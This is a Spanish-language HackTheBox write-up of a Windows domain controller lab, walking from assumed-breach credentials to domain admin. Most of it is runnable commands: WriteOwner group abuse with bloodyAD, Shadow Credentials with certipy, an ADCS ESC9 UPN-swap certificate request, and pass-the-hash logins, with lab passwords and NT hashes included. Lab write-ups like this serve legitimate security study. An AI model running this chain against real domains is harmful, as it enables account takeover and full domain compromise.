Info de la Box
| Plataforma | HackTheBox |
| Dificultad | Medium |
| OS | Windows Server (Domain Controller) |
| Técnicas Clave | WriteOwner Abuse, Shadow Credentials, ADCS ESC9, Pass-the-Hash |
Resumen del Ataque
Assumed breach con creds de judith.mader. Corrimos BloodHound y mostró toda la cadena de ACLs: judith tenía WriteOwner sobre el grupo Management, así que tomamos ownership, nos dimos GenericAll, y nos unimos al grupo. Eso nos dio GenericWrite sobre management_svc que usamos para un ataque de Shadow Credentials para sacar el hash NT. Conseguimos shell como management_svc (user flag). Después management_svc tenía GenericAll sobre ca_operator, mismo ataque de shadow creds. Finalmente, ca_operator podía enrollarse en un template de certificado vulnerable a ESC9. Cambiamos el UPN a Administrator, pedimos un cert, restauramos el UPN, nos autenticamos con el cert y obtuvimos el hash de admin. Pass-the-Hash, listo.
Esta box es básicamente una masterclass de ACL abuse con un cherry de ADCS encima.
Enumeración
# Terminal 1: TCP rápido all-port
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
# Terminal 2: Top 20 UDP
sudo nmap -Pn -sU --top-ports=20 -oN udp_top20.txt $ip
# Terminal 3: Scan dirigido (después de que termine el scan rápido)
ports=$(grep '^[0-9]' fast_tcp.txt | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -A -Pn -sC -sV -p $ports -oA targeted $ip
# Puertos encontrados: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389
# Vuln scan (correr mientras enumerás manualmente)
sudo nmap -sV -p $ports --script "vuln" $ip -oN vuln.txt
Puertos estándar de DC. Nada inusual, nada web. Esta es una box puramente AD.
| Puerto | Servicio | Notas |
|---|---|---|
| 88 | Kerberos | DC01.certified.htb |
| 389/636 | LDAP | Dominio certified.htb |
| 445 | SMB | nada interesante con nuestras creds |
| 5985 | WinRM | acceso a shell después |
Setup
echo "10.129.231.186 DC01.certified.htb certified.htb DC01" | sudo tee -a /etc/hosts
sudo ntpdate -u certified.htb
export ip=10.129.231.186
SMB
netexec smb $ip -u 'judith.mader' -p 'judith09' --shares --users --pass-pol
Sin shares interesantes, sin info jugosa. Assumed breach significa que las creds son el regalo, el resto te lo ganás.
BloodHound — Mapeando la Ruta de Ataque
bloodhound-python -u 'judith.mader' -p 'judith09' -ns $ip -d certified.htb -c All
Subimos el zip a BloodHound CE y la ruta saltó a la vista:
judith.mader
|-- WriteOwner sobre grupo Management
|-- Grupo Management tiene GenericWrite sobre management_svc
|-- management_svc tiene GenericAll sobre ca_operator
|-- ca_operator puede enrollarse en template CertifiedAuthentication (ESC9)
También corrimos certipy para confirmar el ángulo de ADCS:
certipy-ad find -vulnerable -u [email protected] -p 'judith09' -dc-ip $ip -stdout
Encontramos el template CertifiedAuthentication. Tiene CT_FLAG_NO_SECURITY_EXTENSION en sus enrollment flags más Client Authentication EKU. Esa es la combinación de ESC9.
Foothold — WriteOwner Abuse en el Grupo Management
Tres comandos. Tomar ownership, darte GenericAll, agregarte al grupo:
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' set owner 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add genericAll 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add groupMember 'management' judith.mader

Y así de fácil judith está en el grupo Management. Eso nos da GenericWrite sobre management_svc.
Shadow Credentials — management_svc
GenericWrite nos deja modificar el atributo msDS-KeyCredentialLink, lo que significa que podemos hacer un ataque de Shadow Credentials. Certipy maneja todo en un solo comando:
certipy-ad shadow auto -username [email protected] -password 'judith09' \
-account management_svc -target certified.htb -dc-ip $ip

Obtuvimos el hash NT de management_svc: a091c1832bcdd4677c28b5a6a1295584
Consiguiendo Shell
evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Esto es gracioso. evil-winrm con la IP directa se rehusó a conectar. Estuve un rato probando diferentes cosas, y después probé apuntando al nombre de dominio certified.htb en vez de la IP y funcionó de una. No tengo idea por qué esta box hace eso, pero ténganlo en mente.


Estamos adentro. User flag en el desktop de management_svc.
Shadow Credentials — ca_operator
BloodHound muestra que management_svc tiene GenericAll sobre ca_operator. Mismo ataque, diferente objetivo.

# Sincronizar reloj primero — esto me atrapó DE NUEVO
sudo ntpdate -u certified.htb
certipy-ad shadow auto -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-account ca_operator -target certified.htb -dc-ip $ip

Hash NT de ca_operator: b4b86f45c6018f1b664f70805f45d8f2
Domain Admin — ADCS ESC9
Esta es la parte divertida. ESC9 explota weak certificate mapping. Acá está por qué funciona:
El template CertifiedAuthentication tiene CT_FLAG_NO_SECURITY_EXTENSION en sus enrollment flags, así que la CA NO embebe el objectSid del solicitante en el certificado. El DC tiene StrongCertificateBindingEnforcement = 1 (compatibility mode) lo que significa que cuando no hay SID en el cert, hace fallback a mapeo basado en UPN.
Entonces el truco es: cambiar el UPN de ca_operator a Administrator, pedir un cert (no se embebe SID, el UPN dice Administrator), restaurar el UPN, y después autenticarse. El DC ve UPN “Administrator” sin nada que lo contradiga y simplemente lo acepta. Hermoso y aterrador.

Paso 1 — Cambiar el UPN de ca_operator a Administrator
Usamos las creds de management_svc porque tiene GenericAll sobre ca_operator. Importante: usar Administrator sin @domain para evitar una colisión de UPN con la cuenta real de admin.
certipy-ad account update -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn Administrator -dc-ip $ip
Paso 2 — Pedir el cert
certipy-ad req -username [email protected] \
-hashes :b4b86f45c6018f1b664f70805f45d8f2 \
-ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $ip
Esto guarda administrator.pfx, un certificado con UPN=Administrator y sin objectSid.
Paso 3 — Restaurar el UPN de ca_operator
Hay que hacer esto ANTES de autenticarse. Si ca_operator todavía tiene UPN=Administrator cuando te autentiques, el DC mapea el cert de vuelta a ca_operator en vez del Administrator real.
certipy-ad account update -username [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator -upn [email protected] -dc-ip $ip
Paso 4 — Autenticarse y sacar el hash de Administrator
certipy-ad auth -pfx administrator.pfx -dc-ip $ip -domain certified.htb


Y obtuvimos el hash de admin :D
Root Shell
evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Pwned.
Credenciales
| Username | Password/Hash | Origen |
|---|---|---|
| judith.mader | judith09 | Assumed breach |
| management_svc | a091c1832bcdd4677c28b5a6a1295584 (NTLM) | Shadow Credentials |
| ca_operator | b4b86f45c6018f1b664f70805f45d8f2 (NTLM) | Shadow Credentials |
| Administrator | 0d5b49608bbce1751f708748f67e2d34 (NTLM) | ESC9 cert auth |
Lo que Aprendí
Shadow Credentials con certipy es estúpidamente fácil. certipy-ad shadow auto hace todo de un tiro — agrega el key credential, solicita un TGT vía PKINIT, extrae el hash NT, limpia todo. GenericWrite o GenericAll sobre la cuenta objetivo es todo lo que necesitás.
ESC9 se trata del truco del UPN. Cuando un template tiene el flag NO_SECURITY_EXTENSION, el cert no incluye el SID del solicitante. Cambiás el UPN de un usuario controlado al del objetivo, pedís un cert, restaurás el UPN antes de autenticarte. El DC ve el UPN sin SID que lo contradiga y lo mapea a la cuenta real.
El orden importa en ESC9. DEBÉS restaurar el UPN antes de autenticarte. Si el usuario controlado todavía tiene el UPN de Administrator cuando te autentiques, el DC mapea el cert a ellos, no al Administrator real. Tuve que pensar esto un par de veces antes de que hiciera click.
evil-winrm hostname vs IP. Algunas boxes rechazan conexiones por IP pero aceptan el nombre de dominio. Si evil-winrm se cuelga o falla con la IP, probá el hostname. Ni idea por qué pasa esto pero me costó tiempo en esta box.
La sincronización de reloj te va a perseguir por siempre. Shadow Credentials falló porque mi reloj estaba desfasado. Kerberos no perdona el clock skew. sudo ntpdate -u <domain> antes de cualquier operación de Kerberos. Sigo aprendiendo esta lección por las malas.
WriteOwner en un grupo es una cadena de tres pasos. Tomar ownership, darte GenericAll (o WriteMembers), y después agregarte. Mismo patrón que usé en EscapeTwo. Si ves WriteOwner en BloodHound, esto ya debería ser memoria muscular.
Patrón: “Cadena de ACL con ADCS: seguir los edges de BloodHound un salto a la vez, Shadow Credentials para cada GenericWrite/GenericAll, y revisar certipy buscando templates vulnerables. ESC9 = NO_SECURITY_EXTENSION + UPN swap.”